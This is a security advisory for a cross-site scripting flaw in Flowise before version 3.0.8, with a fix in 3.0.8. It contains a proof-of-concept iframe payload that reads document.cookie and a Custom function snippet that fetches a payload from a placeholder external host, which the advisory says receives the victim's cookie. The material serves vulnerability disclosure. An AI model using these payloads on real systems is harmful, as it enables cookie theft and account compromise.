Flowise vulnerable to XSS
Key facts
- Attack vector
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- Privileges required
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- User interaction
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- Attack complexity
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- Impact type
- Cross-site scripting
- Confidentiality · integrity · availability
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- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub. Impact type from CWE-79.
Summary
### Summary A XSS(cross-site scripting) vulnerability is caused by insufficient filtering of input by web applications. Attackers can leverage this XSS vulnerability to inject malicious script code (HTML code or client-side Javascript code) into web pages, and when users browse these web pages, the malicious code will be executed, and the victims may be vulnerable to various attacks such as cookie data theft, etc. ### Details 1. Send a Message `<iframe src="javascript:alert(document.cookie);">` from User in a chat box: <img width="1396" alt="image" src="https://github.com/user-attachments/assets/b472e304-9e7a-40d2-8469-675a5f0744e5" /> ##### Trigger in other ways: 2. Create a Agentflow in cloud platform (https://cloud.flowiseai.com/agentflows) 3. Create a Custom function as an example, use the below example code. ``` const fetch = require('node-fetch'); const url = 'https://external.website'; const options = { method: 'GET', headers: { 'Content-Type': 'application/json' } }; try { const response = await fetch(url, options); const text = await response.text(); return text; } catch (error) { console.error(error); return ''; } ``` 4. The external website (https://external.website) return a XSS payload as content. <img width="1228" alt="image" src="https://github.com/user-attachments/assets/2e0a4d1c-45bf-4c5f-b1b4-54c51f35ce53" /> 5. The javascript code is executed and the victim's cookie data is sent to the external website. <img width="1212" alt="image" src="https://github.com/user-attachments/assets/4ea17dab-c456-4a51-94f4-93fe9aa18cf7" /> ### PoC `<iframe src="javascript:alert(document.cookie);">` ### Impact it is critical XSS vulnerability. All users of Flowise platform that use the workflows of agents.
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | flowise (npm) | before 3.0.8 | 3.0.8 | Patch available | GHSA-4fr9-3x69-36wv |
- flowise (npm) Vendor— Affected before 3.0.8 Fixed in 3.0.8 Patch available GHSA-4fr9-3x69-36wv
Remediation
- Fix · GHSA-4fr9-3x69-36wv flowise (npm) Fixed in 3.0.8 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-4fr9-3x69-36wv
References
Sources
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